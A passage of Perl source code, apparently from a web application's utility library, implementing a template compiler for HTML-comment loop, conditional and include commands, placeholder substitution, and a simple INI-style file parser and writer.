push(@{$T{$key}}, $temp);
}
}
return $position;
}
elsif( !exists($T{$key}) )
{
$T{$key}[0] = $values;
return 0;
}
else
{
return push(@{$T{$key}}, $values) - 1;
}
}
sub CompileTemplate
{
my $contents = shift;
my $handle = shift;
my $line = undef;
my $elements = undef;
my $temp = undef;
my $compiled = undef;
my $buffer = undef;
my $namespace = '$T';
my @scope = ();
if( !ref($contents) )
{
$contents = FileReadScalar("$TDIR/$contents");
}
UnixFormat($contents);
for( split(/\n/, $$contents) )
{
$line = $_;
## skip blank lines
next if( !$line );
if( index($line, '<!--[') == 0 )
{
$line = substr($line, 5, (rindex($line, ']-->')-5));
$elements = ParseCommand(\$line);
## Process Loop commands
if( $elements->[0] eq 'Loop' )
{
if( $elements->[1] eq 'Start' )
{
my $limit = ref($T{$elements->[2]}) ? $#{$T{$elements->[2]}} : -1;
$namespace = "\$T{'$elements->[2]'}[\$i]";
$compiled .= "for( my \$i = 0; \$i <= $limit; \$i++ )\n{\n";
unshift(@scope, 'Loop');
}
elsif( $elements->[1] eq 'End' )
{
$namespace = '$T';
$compiled .= "}\n";
shift(@scope);
}
}
## Process If commands
elsif( $elements->[0] eq 'If' )
{
if( $elements->[1] eq 'Start' )
{
if( $elements->[2] eq 'Code' )
{
$compiled .= "if( $elements->[3] )\n{\n";
}
else
{
$compiled .= "if($namespace\{'$elements->[2]'\} $elements->[3])\n{\n";
}
unshift(@scope, 'If');
}
elsif( $elements->[1] eq 'Elsif' )
{
if( $elements->[2] eq 'Code' )
{
$compiled .= "}\nelsif( $elements->[3] )\n{\n";
}
else
{
$compiled .= "}\nelsif($namespace\{'$elements->[2]'\} $elements->[3])\n{\n";
}
}
elsif( $elements->[1] eq 'Else' )
{
$compiled .= "}\nelse\n{\n";
}
elsif( $elements->[1] eq 'End' )
{
$compiled .= "}\n";
shift(@scope);
}
}
## Process Include commands
elsif( $elements->[0] eq 'Include' )
{
$compiled .= "print \${FileReadScalar('$elements->[2]')};\n";
}
## Process all other commands
else
{
Error('Unrecognized Template Command', $line);
}
}
## Process non-command lines
else
{
$line =~ s/'/\\'/g;
$line =~ s/##(.*?)##/' . $namespace\{'$1'\} . '/g;
$compiled .= "print $handle '$line' . \"\\n\";\n";
}
}
if( scalar(@scope) )
{
Error('Invalid Template Scoping', 'Template Compiler');
}
return \$compiled;
}
sub ParseCommand
{
my $line = shift;
my $char = undef;
my $in = undef;
my $buffer = undef;
my @items = ();
for( unpack('C*', $$line) )
{
$char = chr($_);
if( !$in && $char eq ' ' )
{
if( $buffer )
{
push(@items, $buffer);
$buffer = undef;
}
next;
}
if( $char eq '{' )
{
$in = 1;
next;
}
elsif( $char eq '}' )
{
push(@items, $buffer);
$buffer = undef;
$in = undef;
next;
}
$buffer .= $char;
}
if( $buffer )
{
push(@items, $buffer);
}
return \@items;
}
sub StringParse
{
my $string = shift;
my $handle = shift || STDOUT;
$string =~ s/##(.*?)##/$T{$1}/gise;
print $handle $string;
}
sub StringParseRet
{
my $string = shift;
$$string =~ s/##(.*?)##/$T{$1}/gise;
}
sub IniParse
{
my $data = shift;
my $line = undef;
my $key = undef;
my $store = {};
if( !ref($data) )
{
$data = FileReadScalar($data);
}
if( !$$data )
{
return $store;
}
UnixFormat($data);
while( $$data =~ /^(.*$LF?)/gm )
{
my $line = $1;
if( $line =~ /^=>\[(.*?)\]$LF/ )
{
$key = $1;
}
else
{
$store->{$key} .= $line;
}
}
chomp(%$store);
return $store;
}
sub IniWrite
{
my $file = shift;
my @items = @_;
my $text = undef;
for( @items )
{
$text .= "=>[$_]\n$F{$_}\n" if( $F{$_} );
}
UnixFormat(\$text);
FileWrite($file, $text);
}